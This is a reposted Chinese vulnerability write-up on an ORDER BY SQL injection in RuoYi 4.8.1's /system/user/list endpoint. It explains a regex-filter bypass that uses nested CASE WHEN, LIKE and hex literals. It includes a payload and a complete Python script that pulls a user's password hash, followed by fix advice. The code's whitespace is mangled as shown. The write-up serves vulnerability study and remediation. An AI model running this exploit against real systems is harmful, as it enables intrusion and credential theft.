若依4.8.1-/system/user/listSQL注入

admin 2026-01-05 18:06:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析了若依4.8.1框架/system/user/list接口的SQL注入漏洞。在严格正则限制下,攻击者利用嵌套CASEWHEN语句、LIKE及十六进制编码绕过对括号、引号和等号的过滤,实现基于排序的布尔盲注。文中提供了完整Python脚本提取敏感数据,并建议将排序参数限制为枚举值及字段白名单进行修复。 综合评分: 94 文章分类: 代码审计,漏洞分析,漏洞POC


cover_image

若依4.8.1-/system/user/list SQL注入

小Tiamo

貔瑞安全实验室

2026年1月4日 12:21 山东

免责声明:本文所涉及的技术、思路和工具仅供安全研究和教学使用。请勿利用本文中的技术对未授权的目标进行攻击。由于传播、利用本文所提供的信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,本文作者不承担任何责任。

0x01 背景介绍

在最近的一次代码审计实战中,我针对经典的 RuoYi (v4.8.1) 框架进行安全评估。虽然该框架在 SQL 注入防御上做了大量工作(如 Mybatis 参数化查询、Filter 过滤器、工具类正则校验),但在 ORDER BY 排序功能的处理上,依然存在一个极其隐蔽的逻辑缺陷,技术部分也都是ai写的,但是脚本是真能用本地复现为ruoyi4.8.1+mysql5.5.26。

本文将复现如何在一个严苛的正则白名单(禁止括号、引号、等号)环境下,通过三级嵌套排序盲注,成功提取数据库敏感数据的过程。

0x02 漏洞定位

漏洞位于 ruoyi-common 模块的 SqlUtil.java 和 BaseController.java 中。

1. 入口点:

在后台的列表查询接口(如 /system/user/list)中,通常会接收 isAsc 和 orderByColumn 参数用于分页排序。

// BaseController.java
protectedvoidstartOrderBy(){
    PageDomain pageDomain = TableSupport.buildPageRequest();
if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) {
// 调用 SqlUtil 进行校验
        String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy());
        PageHelper.orderBy(orderBy);
    }
}

2. 核心防御逻辑:

我们跟进 SqlUtil.escapeOrderBySql 方法:

// SqlUtil.java
publicstatic String SQL_PATTERN = "[a-zA-Z0-9_\\ \\,\\.]+";

publicstatic String escapeOrderBySql(String value){
if (StringUtils.isNotEmpty(value) && !isValidOrderBySql(value)) {
thrownew UtilException("参数不符合规范,不能进行查询");
    }
return value;
}

publicstaticbooleanisValidOrderBySql(String value){
return value.matches(SQL_PATTERN);
}

代码审计发现

虽然 SqlUtil 定义了 filterKeyword(黑名单过滤),但在 escapeOrderBySql 中并没有调用它

该方法仅依赖 isValidOrderBySql 进行正则校验。

0x03 绕过挑战:带着镣铐跳舞

防御正则为:[a-zA-Z0-9_\\ \\,\\.]+。这意味着我们面临以下地狱级限制:

  • ❌ **禁止括号 ( )**:无法使用 SLEEP()IF()SUBSTR()UPDATEXML() 等函数。
  • ❌ **禁止引号 ' "**:无法进行字符串比较(如 ='admin')。
  • ❌ **禁止等号 =**:无法进行常规的条件判断。
  • ❌ **禁止比较符 > <**

在如此严苛的条件下,如何进行数据提取?

思路演进

1. 寻找合法字符

正则允许:字母、数字、下划线、空格、逗号、点号

这给了我们操作空间。

2. 替代方案

  • **代替 =**:使用 LIKE 关键字。
  • **代替 'string'**:使用十六进制 Hex 编码(如 0x61...),MySQL 原生支持 Hex 与字符串比较,且由数字字母组成,符合正则。
  • **代替 IF/SLEEP**:使用 ORDER BY 后的 布尔排序盲注。利用 CASE WHEN ... THEN ... ELSE ... END 语法(不需要括号)。

0x04 漏洞利用过程

1. 构造基础 Payload

我们试图控制排序顺序。

-- 原始 SQL 上下文
ORDER BY status, [注入点]

我们注入:

, CASE WHEN u.password LIKE 0x6125 THEN 0 ELSE 1&nbsp;END

(注:0x6125 是 a% 的十六进制)

但实战中发现一个严重问题:默认排序干扰

如果我猜错了,权重是 1;如果目标用户本身权重也是 1(或者平局),数据库会根据 ID 默认排序。这导致脚本无法判断到底是我猜对了,还是因为默认排序导致它排在前面。

2. 进阶:三级嵌套排序逻辑

为了彻底消除默认排序干扰,必须使用嵌套 CASE 逻辑,构建三个优先级:

  1. 优先级 0 (最高):是目标用户,且密码猜对了。
  2. 优先级 1 (中间):非目标用户(路人)。
  3. 优先级 2 (最低):是目标用户,但密码猜错了。

最终 Payload 结构(全程无非法字符):

, CASE WHEN u.user_id LIKE 2
&nbsp; &nbsp; &nbsp; &nbsp;THEN CASE WHEN u.password LIKE 0x[Hex密码] THEN 0 ELSE 2&nbsp;END
ELSE1
END
  • 解析
  • 使用 u.user_id LIKE 2 代替 u.user_id = 2
  • 使用 u.password LIKE 0x... 代替字符串比较。
  • 如果猜中,Target 排第一(权重0);如果没猜中,Target 被强制踢到最后(权重2),路人 排中间(权重1)。

0x05 PoC 脚本

以下是完整的 Python 自动化利用脚本,针对 ry 用户进行密码 Hash 提取。

import&nbsp;requests
import&nbsp;binascii
import&nbsp;sys

# --- 配置区域 ---
# 替换为你的有效 Cookie
COOKIE_VAL =&nbsp;"your-session-id-here"
TARGET_URL =&nbsp;"http://127.0.0.1/system/user/list"
TARGET_UID =&nbsp;2# 目标用户ID (如 ry)

HEADERS = {
"Content-Type":&nbsp;"application/x-www-form-urlencoded",
"X-Requested-With":&nbsp;"XMLHttpRequest",
"Cookie":&nbsp;f"JSESSIONID={COOKIE_VAL}",
"User-Agent":&nbsp;"Mozilla/5.0"
}

defstring_to_hex_pattern(s):
# 将字符串转为 hex,并附加 % 的 hex 值 (25)
return"0x"&nbsp;+ binascii.hexlify(s.encode()).decode() +&nbsp;"25"

defexploit():
&nbsp; &nbsp; print(f"[*] 开始利用无符号排序盲注提取 UserId={TARGET_UID}&nbsp;的密码...")
&nbsp; &nbsp; extracted_pass =&nbsp;""
# BCrypt 常见字符集
&nbsp; &nbsp; charset =&nbsp;"$1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ./"

whileTrue:
&nbsp; &nbsp; &nbsp; &nbsp; found_char =&nbsp;False
for&nbsp;char&nbsp;in&nbsp;charset:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; current_guess = extracted_pass + char
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; hex_pattern = string_to_hex_pattern(current_guess)

# 核心 Payload:嵌套 CASE,无括号,无引号,无等号
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload =&nbsp;f", CASE WHEN u.user_id LIKE&nbsp;{TARGET_UID}&nbsp;THEN CASE WHEN u.password LIKE&nbsp;{hex_pattern}&nbsp;THEN 0 ELSE 2 END ELSE 1 END"

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = {
"pageNum":&nbsp;"1",
"pageSize":&nbsp;"10",
"orderByColumn":&nbsp;"status",&nbsp;# 必须使用非唯一字段主排序
"isAsc": payload
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; res = requests.post(TARGET_URL, headers=HEADERS, data=data, timeout=5)
if&nbsp;res.status_code ==&nbsp;200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; json_data = res.json()
if"rows"in&nbsp;json_data&nbsp;and&nbsp;len(json_data["rows"]) >&nbsp;0:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; first_user_id = json_data["rows"][0]["userId"]

# 如果排在第一位的是目标用户,说明猜对了
if&nbsp;first_user_id == TARGET_UID:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; extracted_pass += char
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.write(f"\r[+] 成功提取:&nbsp;{extracted_pass}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sys.stdout.flush()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found_char =&nbsp;True
break
except&nbsp;Exception:
pass

ifnot&nbsp;found_char:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[*] 提取结束。最终 Hash:&nbsp;{extracted_pass}")
break

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; exploit()

运行效果:

0x06 修复建议

该漏洞的本质是 isAsc 参数被设计为接受 SQL 片段,但校验逻辑存在正则白名单缺陷。

修复方案:

修改 ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java,将 isValidOrderBySql 改为枚举校验:

publicstaticbooleanisValidOrderBySql(String value){
// 强制只能是 asc 或 desc,禁止任何其他字符
return"asc".equalsIgnoreCase(value) ||&nbsp;"desc".equalsIgnoreCase(value);
}

或者在 Controller 层,限制 orderByColumn 必须在允许的字段白名单内。

0x07 总结

这是一次典型的正则白名单绕过案例。在无法使用常规 SQL 注入符号的情况下,通过利用 MySQL 的 HEX 编码和 CASE WHEN 逻辑,结合排序的特性,实现了数据的侧信道传输。这也提醒开发者:不要试图用正则去清洗 SQL,参数化查询和严格的枚举校验才是王道。


觉得文章不错,点赞关注支持一下吧!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:貔瑞安全实验室 小Tiamo《若依4.8.1-/system/user/list SQL注入》

评论:0   参与:  0